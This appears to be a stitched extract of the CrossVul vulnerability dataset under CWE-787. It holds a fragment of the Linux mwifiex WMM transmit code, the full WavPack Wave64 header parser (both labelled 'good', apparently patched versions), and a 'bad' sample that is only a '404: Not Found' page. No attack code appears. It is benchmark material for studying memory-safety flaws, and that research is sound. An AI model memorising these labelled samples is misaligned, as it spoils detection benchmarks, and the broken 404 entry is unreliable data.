IE * and setup the IEEE IE type and length byte fields */ wmm_param_ie = (struct ieee_types_wmm_parameter *) (curr + 2); wmm_param_ie->vend_hdr.len = (u8) tlv_len; wmm_param_ie->vend_hdr.element_id = WLAN_EID_VENDOR_SPECIFIC; mwifiex_dbg(priv->adapter, CMD, "info: CMD_RESP: WMM_GET_STATUS:\t" "WMM Parameter Set Count: %d\n", wmm_param_ie->qos_info_bitmap & mask); if (wmm_param_ie->vend_hdr.len + 2 > sizeof(struct ieee_types_wmm_parameter)) break; memcpy((u8 *) &priv->curr_bss_params.bss_descriptor. wmm_ie, wmm_param_ie, wmm_param_ie->vend_hdr.len + 2); break; default: valid = false; break; } curr += (tlv_len + sizeof(tlv_hdr->header)); resp_len -= (tlv_len + sizeof(tlv_hdr->header)); } mwifiex_wmm_setup_queue_priorities(priv, wmm_param_ie); mwifiex_wmm_setup_ac_downgrade(priv); return 0; } /* * Callback handler from the command module to allow insertion of a WMM TLV. * * If the BSS we are associating to supports WMM, this function adds the * required WMM Information IE to the association request command buffer in * the form of a Marvell extended IEEE IE. */ u32 mwifiex_wmm_process_association_req(struct mwifiex_private *priv, u8 **assoc_buf, struct ieee_types_wmm_parameter *wmm_ie, struct ieee80211_ht_cap *ht_cap) { struct mwifiex_ie_types_wmm_param_set *wmm_tlv; u32 ret_len = 0; /* Null checks */ if (!assoc_buf) return 0; if (!(*assoc_buf)) return 0; if (!wmm_ie) return 0; mwifiex_dbg(priv->adapter, INFO, "info: WMM: process assoc req: bss->wmm_ie=%#x\n", wmm_ie->vend_hdr.element_id); if ((priv->wmm_required || (ht_cap && (priv->adapter->config_bands & BAND_GN || priv->adapter->config_bands & BAND_AN))) && wmm_ie->vend_hdr.element_id == WLAN_EID_VENDOR_SPECIFIC) { wmm_tlv = (struct mwifiex_ie_types_wmm_param_set *) *assoc_buf; wmm_tlv->header.type = cpu_to_le16((u16) wmm_info_ie[0]); wmm_tlv->header.len = cpu_to_le16((u16) wmm_info_ie[1]); memcpy(wmm_tlv->wmm_ie, &wmm_info_ie[2], le16_to_cpu(wmm_tlv->header.len)); if (wmm_ie->qos_info_bitmap & IEEE80211_WMM_IE_AP_QOSINFO_UAPSD) memcpy((u8 *) (wmm_tlv->wmm_ie + le16_to_cpu(wmm_tlv->header.len) - sizeof(priv->wmm_qosinfo)), &priv->wmm_qosinfo, sizeof(priv->wmm_qosinfo)); ret_len = sizeof(wmm_tlv->header) + le16_to_cpu(wmm_tlv->header.len); *assoc_buf += ret_len; } return ret_len; } /* * This function computes the time delay in the driver queues for a * given packet. * * When the packet is received at the OS/Driver interface, the current * time is set in the packet structure. The difference between the present * time and that received time is computed in this function and limited * based on pre-compiled limits in the driver. */ u8 mwifiex_wmm_compute_drv_pkt_delay(struct mwifiex_private *priv, const struct sk_buff *skb) { u32 queue_delay = ktime_to_ms(net_timedelta(skb->tstamp)); u8 ret_val; /* * Queue delay is passed as a uint8 in units of 2ms (ms shifted * by 1). Min value (other than 0) is therefore 2ms, max is 510ms. * * Pass max value if queue_delay is beyond the uint8 range */ ret_val = (u8) (min(queue_delay, priv->wmm.drv_pkt_delay_max) >> 1); mwifiex_dbg(priv->adapter, DATA, "data: WMM: Pkt Delay: %d ms,\t" "%d ms sent to FW\n", queue_delay, ret_val); return ret_val; } /* * This function retrieves the highest priority RA list table pointer. */ static struct mwifiex_ra_list_tbl * mwifiex_wmm_get_highest_priolist_ptr(struct mwifiex_adapter *adapter, struct mwifiex_private **priv, int *tid) { struct mwifiex_private *priv_tmp; struct mwifiex_ra_list_tbl *ptr; struct mwifiex_tid_tbl *tid_ptr; atomic_t *hqp; int i, j; /* check the BSS with highest priority first */ for (j = adapter->priv_num - 1; j >= 0; --j) { /* iterate over BSS with the equal priority */ list_for_each_entry(adapter->bss_prio_tbl[j].bss_prio_cur, &adapter->bss_prio_tbl[j].bss_prio_head, list) { try_again: priv_tmp = adapter->bss_prio_tbl[j].bss_prio_cur->priv; if (((priv_tmp->bss_mode != NL80211_IFTYPE_ADHOC) && !priv_tmp->port_open) || (atomic_read(&priv_tmp->wmm.tx_pkts_queued) == 0)) continue; if (adapter->if_ops.is_port_ready && !adapter->if_ops.is_port_ready(priv_tmp)) continue; /* iterate over the WMM queues of the BSS */ hqp = &priv_tmp->wmm.highest_queued_prio; for (i = atomic_read(hqp); i >= LOW_PRIO_TID; --i) { spin_lock_bh(&priv_tmp->wmm.ra_list_spinlock); tid_ptr = &(priv_tmp)->wmm. tid_tbl_ptr[tos_to_tid[i]]; /* iterate over receiver addresses */ list_for_each_entry(ptr, &tid_ptr->ra_list, list) { if (!ptr->tx_paused && !skb_queue_empty(&ptr->skb_head)) /* holds both locks */ goto found; } spin_unlock_bh(&priv_tmp->wmm.ra_list_spinlock); } if (atomic_read(&priv_tmp->wmm.tx_pkts_queued) != 0) { atomic_set(&priv_tmp->wmm.highest_queued_prio, HIGH_PRIO_TID); /* Iterate current private once more, since * there still exist packets in data queue */ goto try_again; } else atomic_set(&priv_tmp->wmm.highest_queued_prio, NO_PKT_PRIO_TID); } } return NULL; found: /* holds ra_list_spinlock */ if (atomic_read(hqp) > i) atomic_set(hqp, i); spin_unlock_bh(&priv_tmp->wmm.ra_list_spinlock); *priv = priv_tmp; *tid = tos_to_tid[i]; return ptr; } /* This functions rotates ra and bss lists so packets are picked round robin. * * After a packet is successfully transmitted, rotate the ra list, so the ra * next to the one transmitted, will come first in the list. This way we pick * the ra' in a round robin fashion. Same applies to bss nodes of equal * priority. * * Function also increments wmm.packets_out counter. */ void mwifiex_rotate_priolists(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ra, int tid) { struct mwifiex_adapter *adapter = priv->adapter; struct mwifiex_bss_prio_tbl *tbl = adapter->bss_prio_tbl; struct mwifiex_tid_tbl *tid_ptr = &priv->wmm.tid_tbl_ptr[tid]; spin_lock_bh(&tbl[priv->bss_priority].bss_prio_lock); /* * dirty trick: we remove 'head' temporarily and reinsert it after * curr bss node. imagine list to stay fixed while head is moved */ list_move(&tbl[priv->bss_priority].bss_prio_head, &tbl[priv->bss_priority].bss_prio_cur->list); spin_unlock_bh(&tbl[priv->bss_priority].bss_prio_lock); spin_lock_bh(&priv->wmm.ra_list_spinlock); if (mwifiex_is_ralist_valid(priv, ra, tid)) { priv->wmm.packets_out[tid]++; /* same as above */ list_move(&tid_ptr->ra_list, &ra->list); } spin_unlock_bh(&priv->wmm.ra_list_spinlock); } /* * This function checks if 11n aggregation is possible. */ static int mwifiex_is_11n_aggragation_possible(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ptr, int max_buf_size) { int count = 0, total_size = 0; struct sk_buff *skb, *tmp; int max_amsdu_size; if (priv->bss_role == MWIFIEX_BSS_ROLE_UAP && priv->ap_11n_enabled && ptr->is_11n_enabled) max_amsdu_size = min_t(int, ptr->max_amsdu, max_buf_size); else max_amsdu_size = max_buf_size; skb_queue_walk_safe(&ptr->skb_head, skb, tmp) { total_size += skb->len; if (total_size >= max_amsdu_size) break; if (++count >= MIN_NUM_AMSDU) return true; } return false; } /* * This function sends a single packet to firmware for transmission. */ static void mwifiex_send_single_packet(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ptr, int ptr_index) __releases(&priv->wmm.ra_list_spinlock) { struct sk_buff *skb, *skb_next; struct mwifiex_tx_param tx_param; struct mwifiex_adapter *adapter = priv->adapter; struct mwifiex_txinfo *tx_info; if (skb_queue_empty(&ptr->skb_head)) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); mwifiex_dbg(adapter, DATA, "data: nothing to send\n"); return; } skb = skb_dequeue(&ptr->skb_head); tx_info = MWIFIEX_SKB_TXCB(skb); mwifiex_dbg(adapter, DATA, "data: dequeuing the packet %p %p\n", ptr, skb); ptr->total_pkt_count--; if (!skb_queue_empty(&ptr->skb_head)) skb_next = skb_peek(&ptr->skb_head); else skb_next = NULL; spin_unlock_bh(&priv->wmm.ra_list_spinlock); tx_param.next_pkt_len = ((skb_next) ? skb_next->len + sizeof(struct txpd) : 0); if (mwifiex_process_tx(priv, skb, &tx_param) == -EBUSY) { /* Queue the packet back at the head */ spin_lock_bh(&priv->wmm.ra_list_spinlock); if (!mwifiex_is_ralist_valid(priv, ptr, ptr_index)) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); mwifiex_write_data_complete(adapter, skb, 0, -1); return; } skb_queue_tail(&ptr->skb_head, skb); ptr->total_pkt_count++; ptr->ba_pkt_count++; tx_info->flags |= MWIFIEX_BUF_FLAG_REQUEUED_PKT; spin_unlock_bh(&priv->wmm.ra_list_spinlock); } else { mwifiex_rotate_priolists(priv, ptr, ptr_index); atomic_dec(&priv->wmm.tx_pkts_queued); } } /* * This function checks if the first packet in the given RA list * is already processed or not. */ static int mwifiex_is_ptr_processed(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ptr) { struct sk_buff *skb; struct mwifiex_txinfo *tx_info; if (skb_queue_empty(&ptr->skb_head)) return false; skb = skb_peek(&ptr->skb_head); tx_info = MWIFIEX_SKB_TXCB(skb); if (tx_info->flags & MWIFIEX_BUF_FLAG_REQUEUED_PKT) return true; return false; } /* * This function sends a single processed packet to firmware for * transmission. */ static void mwifiex_send_processed_packet(struct mwifiex_private *priv, struct mwifiex_ra_list_tbl *ptr, int ptr_index) __releases(&priv->wmm.ra_list_spinlock) { struct mwifiex_tx_param tx_param; struct mwifiex_adapter *adapter = priv->adapter; int ret = -1; struct sk_buff *skb, *skb_next; struct mwifiex_txinfo *tx_info; if (skb_queue_empty(&ptr->skb_head)) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); return; } skb = skb_dequeue(&ptr->skb_head); if (adapter->data_sent || adapter->tx_lock_flag) { ptr->total_pkt_count--; spin_unlock_bh(&priv->wmm.ra_list_spinlock); skb_queue_tail(&adapter->tx_data_q, skb); atomic_dec(&priv->wmm.tx_pkts_queued); atomic_inc(&adapter->tx_queued); return; } if (!skb_queue_empty(&ptr->skb_head)) skb_next = skb_peek(&ptr->skb_head); else skb_next = NULL; tx_info = MWIFIEX_SKB_TXCB(skb); spin_unlock_bh(&priv->wmm.ra_list_spinlock); tx_param.next_pkt_len = ((skb_next) ? skb_next->len + sizeof(struct txpd) : 0); if (adapter->iface_type == MWIFIEX_USB) { ret = adapter->if_ops.host_to_card(adapter, priv->usb_port, skb, &tx_param); } else { ret = adapter->if_ops.host_to_card(adapter, MWIFIEX_TYPE_DATA, skb, &tx_param); } switch (ret) { case -EBUSY: mwifiex_dbg(adapter, ERROR, "data: -EBUSY is returned\n"); spin_lock_bh(&priv->wmm.ra_list_spinlock); if (!mwifiex_is_ralist_valid(priv, ptr, ptr_index)) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); mwifiex_write_data_complete(adapter, skb, 0, -1); return; } skb_queue_tail(&ptr->skb_head, skb); tx_info->flags |= MWIFIEX_BUF_FLAG_REQUEUED_PKT; spin_unlock_bh(&priv->wmm.ra_list_spinlock); break; case -1: mwifiex_dbg(adapter, ERROR, "host_to_card failed: %#x\n", ret); adapter->dbg.num_tx_host_to_card_failure++; mwifiex_write_data_complete(adapter, skb, 0, ret); break; case -EINPROGRESS: break; case 0: mwifiex_write_data_complete(adapter, skb, 0, ret); default: break; } if (ret != -EBUSY) { mwifiex_rotate_priolists(priv, ptr, ptr_index); atomic_dec(&priv->wmm.tx_pkts_queued); spin_lock_bh(&priv->wmm.ra_list_spinlock); ptr->total_pkt_count--; spin_unlock_bh(&priv->wmm.ra_list_spinlock); } } /* * This function dequeues a packet from the highest priority list * and transmits it. */ static int mwifiex_dequeue_tx_packet(struct mwifiex_adapter *adapter) { struct mwifiex_ra_list_tbl *ptr; struct mwifiex_private *priv = NULL; int ptr_index = 0; u8 ra[ETH_ALEN]; int tid_del = 0, tid = 0; ptr = mwifiex_wmm_get_highest_priolist_ptr(adapter, &priv, &ptr_index); if (!ptr) return -1; tid = mwifiex_get_tid(ptr); mwifiex_dbg(adapter, DATA, "data: tid=%d\n", tid); spin_lock_bh(&priv->wmm.ra_list_spinlock); if (!mwifiex_is_ralist_valid(priv, ptr, ptr_index)) { spin_unlock_bh(&priv->wmm.ra_list_spinlock); return -1; } if (mwifiex_is_ptr_processed(priv, ptr)) { mwifiex_send_processed_packet(priv, ptr, ptr_index); /* ra_list_spinlock has been freed in mwifiex_send_processed_packet() */ return 0; } if (!ptr->is_11n_enabled || ptr->ba_status || priv->wps.session_enable) { if (ptr->is_11n_enabled && ptr->ba_status && ptr->amsdu_in_ampdu && mwifiex_is_amsdu_allowed(priv, tid) && mwifiex_is_11n_aggragation_possible(priv, ptr, adapter->tx_buf_size)) mwifiex_11n_aggregate_pkt(priv, ptr, ptr_index); /* ra_list_spinlock has been freed in * mwifiex_11n_aggregate_pkt() */ else mwifiex_send_single_packet(priv, ptr, ptr_index); /* ra_list_spinlock has been freed in * mwifiex_send_single_packet() */ } else { if (mwifiex_is_ampdu_allowed(priv, ptr, tid) && ptr->ba_pkt_count > ptr->ba_packet_thr) { if (mwifiex_space_avail_for_new_ba_stream(adapter)) { mwifiex_create_ba_tbl(priv, ptr->ra, tid, BA_SETUP_INPROGRESS); mwifiex_send_addba(priv, tid, ptr->ra); } else if (mwifiex_find_stream_to_delete (priv, tid, &tid_del, ra)) { mwifiex_create_ba_tbl(priv, ptr->ra, tid, BA_SETUP_INPROGRESS); mwifiex_send_delba(priv, tid_del, ra, 1); } } if (mwifiex_is_amsdu_allowed(priv, tid) && mwifiex_is_11n_aggragation_possible(priv, ptr, adapter->tx_buf_size)) mwifiex_11n_aggregate_pkt(priv, ptr, ptr_index); /* ra_list_spinlock has been freed in mwifiex_11n_aggregate_pkt() */ else mwifiex_send_single_packet(priv, ptr, ptr_index); /* ra_list_spinlock has been freed in mwifiex_send_single_packet() */ } return 0; } void mwifiex_process_bypass_tx(struct mwifiex_adapter *adapter) { struct mwifiex_tx_param tx_param; struct sk_buff *skb; struct mwifiex_txinfo *tx_info; struct mwifiex_private *priv; int i; if (adapter->data_sent || adapter->tx_lock_flag) return; for (i = 0; i < adapter->priv_num; ++i) { priv = adapter->priv[i]; if (!priv) continue; if (adapter->if_ops.is_port_ready && !adapter->if_ops.is_port_ready(priv)) continue; if (skb_queue_empty(&priv->bypass_txq)) continue; skb = skb_dequeue(&priv->bypass_txq); tx_info = MWIFIEX_SKB_TXCB(skb); /* no aggregation for bypass packets */ tx_param.next_pkt_len = 0; if (mwifiex_process_tx(priv, skb, &tx_param) == -EBUSY) { skb_queue_head(&priv->bypass_txq, skb); tx_info->flags |= MWIFIEX_BUF_FLAG_REQUEUED_PKT; } else { atomic_dec(&adapter->bypass_tx_pending); } } } /* * This function transmits the highest priority packet awaiting in the * WMM Queues. */ void mwifiex_wmm_process_tx(struct mwifiex_adapter *adapter) { do { if (mwifiex_dequeue_tx_packet(adapter)) break; if (adapter->iface_type != MWIFIEX_SDIO) { if (adapter->data_sent || adapter->tx_lock_flag) break; } else { if (atomic_read(&adapter->tx_queued) >= MWIFIEX_MAX_PKTS_TXQ) break; } } while (!mwifiex_wmm_lists_empty(adapter)); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4005_0
crossvul-cpp_data_good_95_1
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // wave64.c // This module is a helper to the WavPack command-line programs to support Sony's // Wave64 WAV file varient. Note that unlike the WAV/RF64 version, this does not // fall back to conventional WAV in the < 4GB case. #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" typedef struct { char ckID [16]; int64_t ckSize; char formType [16]; } Wave64FileHeader; typedef struct { char ckID [16]; int64_t ckSize; } Wave64ChunkHeader; #define Wave64ChunkHeaderFormat "88D" static const unsigned char riff_guid [16] = { 'r','i','f','f', 0x2e,0x91,0xcf,0x11,0xa5,0xd6,0x28,0xdb,0x04,0xc1,0x00,0x00 }; static const unsigned char wave_guid [16] = { 'w','a','v','e', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char fmt_guid [16] = { 'f','m','t',' ', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char data_guid [16] = { 'd','a','t','a', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int64_t total_samples = 0, infilesize; Wave64ChunkHeader chunk_header; Wave64FileHeader filehdr; WaveHeader WaveHeader; int format_chunk = 0; uint32_t bcount; infilesize = DoGetFileSize (infile); memcpy (&filehdr, fourcc, 4); if (!DoReadFile (infile, ((char *) &filehdr) + 4, sizeof (Wave64FileHeader) - 4, &bcount) || bcount != sizeof (Wave64FileHeader) - 4 || memcmp (filehdr.ckID, riff_guid, sizeof (riff_guid)) || memcmp (filehdr.formType, wave_guid, sizeof (wave_guid))) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &filehdr, sizeof (filehdr))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } #if 1 // this might be a little too picky... WavpackLittleEndianToNative (&filehdr, Wave64ChunkHeaderFormat); if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && filehdr.ckSize && filehdr.ckSize + 1 && filehdr.ckSize != infilesize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } #endif // loop through all elements of the wave64 header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (Wave64ChunkHeader), &bcount) || bcount != sizeof (Wave64ChunkHeader)) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (Wave64ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, Wave64ChunkHeaderFormat); chunk_header.ckSize -= sizeof (chunk_header); // if it's the format chunk, we want to get some info out of there and // make sure it's a .wav file we can handle if (!memcmp (chunk_header.ckID, fmt_guid, sizeof (fmt_guid))) { int supported = TRUE, format; if (format_chunk++) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } chunk_header.ckSize = (chunk_header.ckSize + 7) & ~7L; if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, (uint32_t) chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, (uint32_t) chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .W64 format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if (WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this W64 file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!memcmp (chunk_header.ckID, data_guid, sizeof (data_guid))) { // on the data chunk, get size and exit loop if (!WaveHeader.NumChannels) { // make sure we saw "fmt" chunk error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } if ((config->qmode & QMODE_IGNORE_LENGTH) || chunk_header.ckSize <= 0) { config->qmode |= QMODE_IGNORE_LENGTH; if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { if (infilesize && infilesize - chunk_header.ckSize > 16777216) { error_line ("this .W64 file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } total_samples = chunk_header.ckSize / WaveHeader.BlockAlign; if (!total_samples) { error_line ("this .W64 file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 7) & ~7L; char *buff; if (bytes_to_copy < 0 || bytes_to_copy > 4194304) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteWave64Header (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { Wave64ChunkHeader datahdr, fmthdr; Wave64FileHeader filehdr; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_file_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid Wave64 header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } total_file_bytes = sizeof (filehdr) + sizeof (fmthdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 7) & ~(int64_t)7); memcpy (filehdr.ckID, riff_guid, sizeof (riff_guid)); memcpy (filehdr.formType, wave_guid, sizeof (wave_guid)); filehdr.ckSize = total_file_bytes; memcpy (fmthdr.ckID, fmt_guid, sizeof (fmt_guid)); fmthdr.ckSize = sizeof (fmthdr) + wavhdrsize; memcpy (datahdr.ckID, data_guid, sizeof (data_guid)); datahdr.ckSize = total_data_bytes + sizeof (datahdr); // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&filehdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, Wave64ChunkHeaderFormat); if (!DoWriteFile (outfile, &filehdr, sizeof (filehdr), &bcount) || bcount != sizeof (filehdr) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .W64 data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_95_1
crossvul-cpp_data_bad_1619_0
404: Not Found
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1619_0